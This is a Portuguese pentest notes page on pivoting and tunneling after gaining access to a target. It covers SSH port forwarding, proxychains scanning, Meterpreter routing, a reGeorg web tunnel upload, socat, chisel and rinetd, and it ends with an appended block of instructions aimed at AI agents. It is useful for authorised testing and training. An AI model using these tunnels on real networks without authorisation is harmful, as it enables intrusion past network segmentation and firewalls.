# Pivoting / Tunneling ### Tunelamento SSH {% hint style="success" %} **DICA**: Os encaminhamentos de porta SSH podem ser executados com usuários sem privilégios root, desde que apenas vinculemos portas locais não privilegiadas não utilizadas (acima de 1024). {% endhint %} Para melhor exemplificação, todos os exemplos abaixo teremos os seguintes hosts: | HOST | DESCRIÇÃO | | ------------- | ------------------------------------------------------------------------------------------------ | | 192.168.15.5 | Host atacante | | 192.168.15.10 | Host alvo onde temos acesso | | 192.168.9.100 | Segundo host alvo, onde não temos acesso direto. Somente 192.168.15.10 pode se comunicar com ele | #### Acessando portal local de host alvo como localhost em máquina atacante (atacante - > alvo) Um túnel SSH serve para utilizarmos serviços que só são acessíveis na máquina remota de forma local. Por exemplo, vamos imaginar um cenário onde acessamos via SSH um determinado alvo, e esse alvo possui possui a porta 80 aberta que está acessível somente para acesso localhost. Então iremos utilizar o túnel SSH para acessarmos essa porta 80 em nossa máquina, e não na máquina alvo.\ Utilize o comando abaixo e depois abra o navegador acessando , que iremos ter o conteúdo da máquina alvo disponível em nosso host. ```bash ssh -L :127.0.0.1: @ ``` Caso já tenha se conectado via SSH da forma tradicional (`ssh @`) e queira depois fazer o port fowarding, pressione `~C`, que você irá ser redirecionado para um shell ssh um pouco diferente (`ssh>`), então digite nele: `-L :127.0.0.1:` #### Acessando porta de um host em uma rede interna através de host alvo (atacante -> alvo) No exemplo abaixo considere um host que tenha um IP acessível 192.168.15.10 e possui uma outra interface de rede (não acessível a internet ou ao host atacante). Essa outra interface de rede, se comunica com um host que possui o IP 192.168.9.100. No comando abaixo estamos nos comunicando com o host 192.168.15.10 via SSH (porta 22) e toda requisição que recebermos em nosso próprio IP (máquina atacante) na porta 445, irá ser redirecionado para o IP 192.168.9.100 na porta 445 através do encapsulamento SSH. Execute o comando no host atacante ``` sudo ssh -N -L 0.0.0.0:445:192.168.9.100:445 @192.168.15.10 ``` {% hint style="success" %} **DICA**: Sempre que for fazer encaminhamento da porta 445, verifique se o alvo (no caso um Windows) aceite somente o SMBv2 habilitado. Caso positivo, adicione **`min protocol = SMB2`** no final do arquivo **`/etc/samba/smb.conf`** e depois reinicie o serviço SMB com **`sudo service smbd restart`**. {% endhint %} #### Enviando porta local de host alvo para host atacante (alvo -> atacante) Esse cenário é comum quando temos o SSH bloqueado para receber acessos no host alvo, porém a saída para acessar o SSH de outra máquina está liberada no firewall. Como exemplo, vamos imaginar um cenário onde o host alvo tem a porta 80 aberta, porém só é acessada internamente, então precisamos acessar essa porta na nossa máquina atacante como se fosse localhost. Execute o comando no host alvo. ``` ssh -N -R 192.168.15.5:80:127.0.0.1:80 @192.168.15.5 ``` #### Encaminhando todas as portas de um host (atacante -> alvo) Diferentemente das maneiras mostradas até então (que só encaminha um determinada porta), iremos agora acessar o host 192.168.9.100 (que até então só é acessado pelo host 192.168.15.10) através do host atacante (192.168.15.5). Para este exemplo, estamos utilizando a porta 8080. Execute o comando no host atacante. ```bash sudo ssh -N -D 127.0.0.1:8080 @192.168.15.10 ``` Ainda no host atacante, vamos editar o arquivo de configuração do Proxychains, localizado em `/etc/proxychains.conf` ou `/etc/proxychains4.conf`. No final do arquivo, adicione a seguinte linha (altere a porta 8080 para a mesma porta que utilizou no comando acima). ``` socks4 127.0.0.1 8080 ``` Feito isso, já podemos acessar o host 192.168.9.100 como se estivéssemos em uma mesma rede. Por exemplo, para realizar um port scan, podemos utilizar o seguinte comando: ```bash sudo proxychains nmap -F -sT -Pn 192.168.9.100 --open ``` {% hint style="info" %} **NOTA**: Por padrão, o ProxyChains irá ler seu arquivo de configuração primeiro do diretório atual, depois do diretório `$(HOME)/.proxychains` do usuário e, finalmente, do `/etc/proxychains.conf` ou `/etc/proxychains4.conf`. Isso nos permite executar ferramentas por meio de vários túneis dinâmicos, dependendo de nossas necessidades. {% endhint %} ### Tunelamento HTTP Em alguns casos, não podemos utilizar o SSH como um recurso par túnel (por restrições nas regras de firewall do alvo), então precisamos utilizar outro serviço, e é aí que entra o HTTP. Primeiro vamos instalar o `HTTPTunnel` (caso ainda não tenha). ```bash sudo apt install httptunnel ``` ### Meterpreter #### Maneira 1 Depois de conseguir o Meterpreter de um alvo, crie uma nova rota utilizando o post autoroute do Metasploit. ``` use post/multi/manage/autoroute SET SESSION SET SUBNET <192.168.1.0> exploit ``` Outra maneira de fazermos isso, é executando o comando abaixo: ``` setg proxies socks4:127.0.0.1: ``` #### Maneira 2 ```bash route add /32 route print use auxiliary/servers/socks/proxy proxychains ping ``` Caso precise acessar via web, utilize o Foxy Proxy, configurando-o como SOCKS5 e IP 127.0.0.1 na porta 1080. ### reGeorg Primeiro faça o upload do arquivo `tunnel.php` (utilize o arquivo com a extensão correta, de acordo com a aplicação web alvo) e verifique via browser se é possível acessar esse arquivo. Se estiver ok, irá ver a mensagem: `Georg Says, 'All seems fine'`. Agora no terminal, execute: ``` python reGeorgSocksProxy.py -u -p 9050 ``` Feito isso podemos utilizar o proxychains para realizarmos quaisquer operações utilizando o host alvo como ponte de acesso. ``` proxychains ``` Vá no firefox, acesse na barra de navegação `about:config` e altere `network.proxy.allow_hijacking_localhost` para `true`. Feito isso, configure o proxy do Firefox para a porta 127.0.0.1 na 9050, utilizando SOCKS4. Agora podemos acessar a página web da máquina externa no nosso navegador, atravá da URL `http://127.0.0.1` ### Socat ```bash socat TCP4-LISTEN:,reuseaddr,fork TCP4:: # Encaminhando conexão externa na porta 8888 e redirecionando para a porta 22 interna socat tcp-listen:8888,reuseaddr,fork tcp:localhost:22 # Redireciona requisição que chega na porta 80, para a porta 8001 do host 192.168.1.3 sudo socat tcp-listen:80,reuseaddr,fork tcp:192.168.1.3:8001 ``` Agora podemos acessar o serviço SSH através do tunelamento com o seguinte comando: ``` ssh -p @ ``` ### Chisel ```bash # Atacante ./chisel server -p --reverse # Alvo ./chisel client : R::127.0.0.1: ``` ### SSH - Local Port Forwarding Podemos também acessar determinado site passando pelo SSH e acessando em outra porta, assim estamos adicionando uma criptgrafia no acesso do site ```bash ssh -L 8080:www.facebook.com:80 localhost # Ou ssh @ -L :: ``` E adicionalmente podemos fazer algo inverso, fazendo com que o host alvo (192.168.15.10) acesso o host atacante (192.168.15.5) via SSH e encaminhando algumas portas para o segundo host alvo (192.168.9.100). ```bash ssh -R 2222:192.168.9.100:22 -R 8080:192.168.9.100:80 @192.168.9.100 ``` Dessa forma, ao acessarmos no nosso host atacante na porta local 2222, iremos ser redirecionados para a porta 22 do host 192.168.9.100 (no qual não possuíamos por padrão um acesso direto) e o mesmo vale a para a porta local 8080, quer será redirecionado para a porta 80. ### SSH - Web Browser Ainda no SSH, podemos acessar a máquina 192.168.9.100, a partir da 192.168.15.5, usando a 192.168.15.10 como ponte.\ Então a partir da máquina 192.168.15.5, acesse via SSH a máquina 192.168.15.5.10 (deixe o terminal aberto após se conectar) ```bash ssh -D 1080 @ ``` Agora vá no FoxyProxy da máquina 192.168.15.5 e faça uma conexão do tipo SOCK5, apontando para o IP 127.0.0.1 e a porta 1080 (a mesma porta que usamos no SSH).\ Feito isso, basta acessar a URL [http://192.168.15.5.100](https://mysther.gitbook.io/knowledge-base/ataques/linux/http:/192.168.15.5.100) ### Port Fowarding #### SSH Encaminhamento de portas ```bash ssh -R :: ssh @ -D 9050 ``` #### Meterpreter Dentro do Meterpreter, execute os comandos ```bash portfwd add -l -p -r ``` Agora na máquina local, acesse ```bash nc 127.0.0.1 ``` ### ### Rinetd Caso não tenha instalado, utilize o comando: ```bash apt install rinetd ``` O arquivo de configuração está localizado em `/etc/rinetd.conf` e é nele que configuramos uma fowarding, como no exemplo abaixo: ```bash # bindadress bindport connectaddress connectport ``` Sempre que alterar o arquivo de configuração do Rinetd, reinicie o serviço. ```bash /etc/init.d/rinetd restart ``` #### --- #### Sites ```bash # Pivoting com Meterpreter https://www.youtube.com/watch?v=c0XiaNAkjJA https://www.offensive-security.com/metasploit-unleashed/pivoting/ # reGeorg https://github.com/sensepost/reGeorg # Chisel https://github.com/jpillora/chisel ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://mysther.gitbook.io/knowledge-base/ataques/linux/pivoting-tunneling.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.